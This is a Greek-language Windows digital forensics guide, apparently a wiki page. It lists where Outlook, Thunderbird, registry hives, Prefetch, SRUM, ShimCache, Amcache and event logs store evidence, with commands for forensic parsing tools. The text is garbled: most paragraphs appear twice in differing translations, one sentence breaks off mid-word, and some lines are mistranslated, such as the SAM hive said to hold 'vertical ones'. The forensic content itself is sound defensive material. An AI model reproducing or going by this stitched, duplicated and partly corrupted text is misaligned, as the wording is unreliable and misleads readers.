Τα emails περιέχουν **2 ενδιαφέροντα μέρη: Τα headers και το περιεχόμενο** του email. Στα **headers** μπορείτε να βρείτε πληροφορίες όπως:
* **Ποιος** έστειλε τα emails (διεύθυνση email, IP, mail servers που έχουν ανακατευθύνει το email)
* **Πότε** εστάλη το email
Επίσης, μέσα στα headers `References` και `In-Reply-To` μπορείτε να βρείτε το ID των μηνυμάτων:
![](<../../../.gitbook/assets/image (593).png>)
### Windows Mail App
Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στο `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`.
Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Αλλάξτε την επέκταση** του αρχείου από `.vol` σε `.edb` και μπορείτε να χρησιμοποιήσετε το εργαλείο [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) για να το ανοίξετε. Μέσα στον πίνακα `Message` μπορείτε να δείτε τα emails.
### Microsoft Outlook
Όταν χρησιμοποιούνται servers Exchange ή πελάτες Outlook, θα υπάρχουν κάποια MAPI headers:
* `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν εστάλη το email
* `Mapi-Conversation-Index`: Αριθμός μηνυμάτων παιδιών της συνομιλίας και χρονική σφραγίδα κάθε μηνύματος της συνομιλίας
* `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος.
* `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; μη διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;)
Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST σε:
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
Η διαδρομή μητρώου `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` υποδεικνύει το αρχείο που χρησιμοποιείται.
Μπορείτε να ανοίξετε το αρχείο PST χρησιμοποιώντας το εργαλείο [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../.gitbook/assets/image (498).png>)
### Microsoft Outlook OST Files
Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** server, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον server, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Ανάκτηση Συνημμένων
Χαμένα συνημμένα μπορεί να ανακτηθούν από:
Χαμένα συνημμένα μπορεί να είναι ανακτήσιμα από:
* Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
* Για **IE11 και νεότερες εκδόσεις**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
* Για **IE11 και άνω**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Αρχεία MBOX του Thunderbird
### Thunderbird MBOX Files
Το **Thunderbird** χρησιμοποιεί αρχεία **MBOX** για την αποθήκευση δεδομένων, τα οποία βρίσκονται στη διαδρομή `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
**Thunderbird** χρησιμοποιεί **MBOX αρχεία** για να αποθηκεύσει δεδομένα, που βρίσκονται στο `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Μικρογραφίες Εικόνων
### Εικόνες Μικρογραφιών
* **Windows XP και 8-8.1**: Η πρόσβαση σε ένα φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνων, ακόμα και μετά τη διαγραφή τους.
* **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελαύνεται μέσω δικτύου μέσω της διαδρομής UNC.
* **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών είναι κεντρικές στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία με το όνομα **thumbcache\_xxx.db**. Τα εργαλεία [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) χρησιμοποιούνται για την προβολή αυτών των αρχείων.
* **Windows XP και 8-8.1**: Η πρόσβαση σε έναν φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνας, ακόμη και μετά τη διαγραφή.
* **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελάζεται μέσω δικτύου μέσω UNC διαδρομής.
* **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών κεντρικοποιούνται στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία ονομαζόμενα **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) είναι εργαλεία για την προβολή αυτών των αρχείων.
### Πληροφορίες Καταγραφής των Windows Registry
### Πληροφορίες Μητρώου Windows
Το Windows Registry, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας του συστήματος και των χρηστών, περιέχεται σε αρχεία στις παρακάτω τοποθεσίες:
Το Μητρώο Windows, που αποθηκεύει εκτενή δεδομένα συστήματος και δραστηριότητας χρηστών, περιέχεται σε αρχεία σε:
* `%windir%\System32\Config` για διάφορα υποκλειδιά `HKEY_LOCAL_MACHINE`.
* `%UserProfile%{User}\NTUSER.DAT` για το `HKEY_CURRENT_USER`.
* Τα Windows Vista και νεότερες εκδόσεις δημιουργούν αντίγραφα ασφαλείας των αρχείων καταγραφής του `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`.
* Επιπλέον, πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και τον διακομιστή Windows 2008 και μετά.
* `%windir%\System32\Config` για διάφορους υποκλειδιά `HKEY_LOCAL_MACHINE`.
* `%UserProfile%{User}\NTUSER.DAT` για `HKEY_CURRENT_USER`.
* Οι εκδόσεις Windows Vista και νεότερες δημιουργούν αντίγραφα ασφαλείας των αρχείων μητρώου `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`.
* Επιπλέον, οι πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και Windows 2008 Server και μετά.
### Εργαλεία
Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων καταγραφής του registry:
Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου:
* **Επεξεργαστής Καταγραφής**: Είναι εγκατεστημένο στα Windows. Είναι μια γραφική διεπαφή χρήστη για την περιήγηση στο Windows registry της τρέχουσας συνεδρίας.
* [**Εξερευνητής Καταγραφής**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο καταγραφής και να περιηγηθείτε μέσω του με γραφική διεπαφή. Περιλαμβάνει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει μια γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου καταγραφής και περιλαμβάνει επεκτάσεις που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο καταγραφή.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή που μπορεί να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο καταγραφή.
* **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας.
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης Σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο.
### Ανάκτηση Διαγραμμένου Στοιχείου
Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως ο **Εξερευνητής Καταγραφής**, είναι δυνατή η ανάκτηση αυτών των διαγραμμένων κλειδιών.
Όταν ένα κλειδί διαγράφεται, επισημαίνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά.
### Χρόνος Τελευταίας Εγγραφής
### Τελευταίος Χρόνος Γραφής
Κάθε Κλειδί-Τιμή περιέχει ένα **χρονικό στιγμιότυπο** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε.
Κάθε Key-Value περιέχει μια **χρονική σφραγίδα** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε.
### SAM
Το αρχείο/hive **SAM** περιέχει τους κατακόρυφους και τους κωδικούς πρόσβασης των χρηστών του συστήματος.
Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης χρηστών** του συστήματος.
Στο \`SAM\Domains\Account
Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**.
### Ενδιαφέροντα στοιχεία στο Μητρώο Windows
{% content-ref url="interesting-windows-registry-keys.md" %}
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %}
## Εκτελούμενα Προγράμματα
### Βασικές Διαδικασίες Windows
Σε [αυτήν την ανάρτηση](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) μπορείτε να μάθετε για τις κοινές διαδικασίες Windows για να ανιχνεύσετε ύποπτες συμπεριφορές.
### Πρόσφατες Εφαρμογές Windows
Μέσα στο μητρώο `NTUSER.DAT` στη διαδρομή `Software\Microsoft\Current Version\Search\RecentApps` μπορείτε να βρείτε υποκλειδιά με πληροφορίες σχετικά με την **εφαρμογή που εκτελέστηκε**, **την τελευταία φορά** που εκτελέστηκε και **τον αριθμό φορών** που εκκινήθηκε.
### BAM (Background Activity Moderator)
Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **ποια ώρα** εκτελέστηκαν (η ώρα είναι μέσα στην τιμή Data του μητρώου).
### Windows Prefetch
Η προετοιμασία είναι μια τεχνική που επιτρέπει σε έναν υπολογιστή να **ανακτά σιωπηλά τους απαραίτητους πόρους που χρειάζονται για να εμφανίσουν περιεχόμενο** που ένας χρήστης **μπορεί να έχει πρόσβαση στο εγγύς μέλλον** ώστε οι πόροι να μπορούν να προσπελαστούν πιο γρήγορα.
Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10.
Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή.
Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **που άνοιξε** το πρόγραμμα.
Για να ελέγξετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../.gitbook/assets/image (487).png>)
![](<../../../.gitbook/assets/image (315).png>)
### Superprefetch
Το **Superprefetch** έχει τον ίδιο στόχο με το prefetch, να **φορτώνει τα προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενο. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\
**Superprefetch** έχει τον ίδιο στόχο με το prefetch, **να φορτώνει προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενα. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\
Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`.
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **ανοιγμένα αρχεία**, το **επίπεδο πρόσβασης** στον **δίσκο**, την **πλήρη διαδρομή**, τα **χρονικά πλαίσια** και τις **χρονοσφραγίδες**.
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **αρχεία** που **άνοιξαν**, τον **όγκο** που **πρόσβαση**, την **πλήρη** **διαδρομή**, τα **χρονικά διαστήματα** και τα **χρονοσφραγίσματα**.
Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
Το **System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** που **καταναλώνονται από ένα διεργασία**. Εμφανίστηκε στο W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`.
**System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** που **καταναλώνονται** **από μια διαδικασία**. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`.
Παρέχει τις εξής πληροφορίες:
Δίνει τις εξής πληροφορίες:
* AppID και Διαδρομή
* Χρήστης που εκτέλεσε τη διεργασία
* Απεσταλμένα Bytes
* Ληφθέντα Bytes
* Διεπαφή Δικτύου
* Χρήστης που εκτέλεσε τη διαδικασία
* Αποστολή Bytes
* Λήψη Bytes
* Δικτυακή Διεπαφή
* Διάρκεια σύνδεσης
* Διάρκεια διεργασίας
* Διάρκεια διαδικασίας
Αυτές οι πληροφορίες ενημερώνονται κάθε 60 λεπτά.
Μπορείτε να αποκτήσετε τα δεδομένα από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
Μπορείτε να αποκτήσετε την ημερομηνία από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
Το **AppCompatCache**, επίσης γνωστό ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από την **Microsoft** για την αντιμετώπιση θεμάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
Ο **AppCompatCache**, γνωστός επίσης ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
* Πλήρης διαδρομή του αρχείου
* Μέγεθος του αρχείου
* Τελευταία τροποποίηση υπό το **$Standard\_Information** (SI)
* Τελευταία τροποποίηση υπό **$Standard\_Information** (SI)
* Τελευταία ενημέρωση του ShimCache
* Σημαία εκτέλεσης διεργασίας
* Σημαία εκτέλεσης διαδικασίας
Τέτοια δεδομένα αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες βάσει της έκδοσης του λειτουργικού συστήματος:
Τέτοιες πληροφορίες αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες με βάση την έκδοση του λειτουργικού συστήματος:
* Για το XP, τα δεδομένα αποθηκεύονται στο `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα για 96 καταχωρήσεις.
* Για το Server 2003, καθώς και για τις εκδόσεις των Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, με χωρητικότητα για 512 και 1024 καταχωρήσεις αντίστοιχα.
* Για XP, τα δεδομένα αποθηκεύονται υπό `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών.
* Για Server 2003, καθώς και για τις εκδόσεις Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, φιλοξενώντας 512 και 1024 εγγραφές, αντίστοιχα.
Για την ανάλυση των αποθηκευμένων πληροφοριών, συνιστάται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
Για να αναλύσετε τις αποθηκευμένες πληροφορίες, προτείνεται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
![](<../../../.gitbook/assets/image (488).png>)
![](<../../../.gitbook/assets/image (75).png>)
### Amcache
Το αρχείο **Amcache.hve** είναι ουσιαστικά ένα καταγεγραμμένο μητρώο που καταγράφει λεπτομέρειες για εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`.
Το αρχείο **Amcache.hve** είναι ουσιαστικά μια κυψέλη μητρώου που καταγράφει λεπτομέρειες σχετικά με τις εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`.
Αυτό το αρχείο είναι σημαντικό για την αποθήκευση εγγραφών πρόσφατα εκτελεσμένων διεργασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμένων τους. Αυτές οι πληροφορίες είναι ανεκτίμητες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση του περιεχομένου του αρχείου **Amcache.hve** και την εξαγωγή των αποτελεσμάτων σε μορφή CSV:
Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε το περιεχόμενο του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Μεταξύ των παραγόμενων αρχείων CSV, το `Amcache_Unassociated file entries` είναι ιδιαίτερα αξιοσημείωτο λόγω της πλούσιας πληροφορίας που παρέχει σχετικά με τις μη συσχετισμένες καταχωρίσεις αρχείων.
Ανάμεσα στα δημιουργημένα αρχεία CSV, το `Amcache_Unassociated file entries` ξεχωρίζει ιδιαίτερα λόγω των πλούσιων πληροφοριών που παρέχει σχετικά με τις μη συσχετισμένες καταχωρήσεις αρχείων.
Το πιο ενδιαφέρον αρχείο CVS που παραγένεται είναι το `Amcache_Unassociated file entries`.
Το πιο ενδιαφέρον αρχείο CVS που δημιουργείται είναι το `Amcache_Unassociated file entries`.
### RecentFileCache
### Πρόσφατα αρχεία cache
Αυτό το αρχείο μπορεί να βρεθεί μόνο στα Windows 7 στη διαδρομή `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων.
Αυτό το αποδεικτικό μπορεί να βρεθεί μόνο σε W7 στο `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων.
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο.
### Προγραμματισμένες εργασίες
### Προγραμματισμένα καθήκοντα
Μπορείτε να τις εξάγετε από τη διαδρομή `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τις διαβάσετε ως XML.
Μπορείτε να τα εξάγετε από το `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τα διαβάσετε ως XML.
### Υπηρεσίες
Μπορείτε να τις βρείτε στο μητρώο κάτω από το `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε.
Μπορείτε να τις βρείτε στο μητρώο κάτω από `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι πρόκειται να εκτελεστεί και πότε.
### **Windows Store**
Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στη διαδρομή `\ProgramData\Microsoft\Windows\AppRepository\`\
Αυτή η αποθήκη έχει ένα **αρχείο καταγραφής** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**.
Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στο `\ProgramData\Microsoft\Windows\AppRepository\`\
Αυτό το αποθετήριο έχει ένα **log** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**.
Μέσα στον πίνακα Application αυτής της βάσης δεδομένων, είναι δυνατόν να βρεθούν οι στήλες: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες για προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να διαπιστωθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή οι αναγνωριστικοί των εγκατεστημένων εφαρμογών πρέπει να είναι συνεχόμενοι.
Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί, επειδή οι ταυτοτήτες των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικές.
Είναι επίσης δυνατό να **βρεθούν εγκατεστημένες εφαρμογές** μέσα στη διαδρομή του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Και **απεγκατεστημένες εφαρμογές** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Και **απεγκατεστημένων** **εφαρμογών** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Γεγονότα των Windows
## Windows Events
Οι πληροφορίες που εμφανίζονται στα γεγονότα των Windows είναι:
Οι πληροφορίες που εμφανίζονται μέσα στα Windows events είναι:
* Τι συνέβη
* Χρονική σήμανση (UTC + 0)
* Συμμετέχοντες χρήστες
* Συμμετέχοντες υπολογιστές (όνομα κεντρικού υπολογιστή, IP)
* Πόροι που ανατέθηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες)
* Χρήστες που εμπλέκονται
* Φιλοξενούμενοι που εμπλέκονται (hostname, IP)
* Περιουσιακά στοιχεία που προσπελάστηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες)
Τα αρχεία καταγραφής βρίσκονται στη διαδρομή `C:\Windows\System32\config` πριν από τα Windows Vista και στη διαδρομή `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε μορφή **XML** και χρησιμοποιούν την επέκταση **.evtx**.
Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα logs γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την **.evtx** επέκταση.
Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Μπορούν να προβληθούν μέσω του Προβολέα Γεγονότων των Windows (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως το [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
Μπορούν να οπτικοποιηθούν από τον Windows Event Viewer (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Κατανόηση της καταγραφής γεγονότων ασφάλειας των Windows
## Κατανόηση της Καταγραφής Γεγονότων Ασφαλείας των Windows
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφάλειας που βρίσκεται στη διαδρομή `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν τις συνδέσεις και αποσυνδέσεις χρηστών, τις ενέργειες των χρηστών και τις αλλαγές στις ρυθμίσεις ασφάλειας, καθ
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την ικανότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία.
#### Συμβάντα Τροφοδοσίας Συστήματος
